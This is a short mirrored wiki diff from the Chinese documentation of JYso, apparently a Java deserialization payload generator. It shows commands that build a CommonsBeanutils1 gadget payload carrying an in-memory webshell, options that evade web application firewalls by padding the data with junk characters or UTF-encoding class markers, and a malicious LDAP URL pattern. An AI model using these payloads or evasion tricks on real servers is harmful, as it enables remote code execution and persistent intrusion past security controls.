mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-25 08:11:53 +08:00
Updated JYso‐CN (markdown)
+3
-1
@@ -619,13 +619,15 @@ ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all:
|
||||
java -jar JYso-[version].jar -y -g CommonsBeanutils1 -p 'EX-MS-TEXMSFromThread' -dt 1 -dl 50000
|
||||
```
|
||||
|
||||
可以生成填充了 50000 个脏字符的序列化数据
|
||||
|
||||
通过UTF编码对原始序列化数据中 TC_CLASSDESC、TC_PROXYCLASSDESC、TC_STRING 这些强特征来3字节加密
|
||||
|
||||
```shell
|
||||
java -jar JYso-[version].jar -y -g CommonsBeanutils1 -p 'EX-MS-TEXMSFromThread' -utf
|
||||
```
|
||||
|
||||
可以生成填充了 50000 个脏字符的序列化数据
|
||||
|
||||
|
||||
# 2.0 RASP 层面
|
||||
|
||||
|
||||
Reference in New Issue
Block a user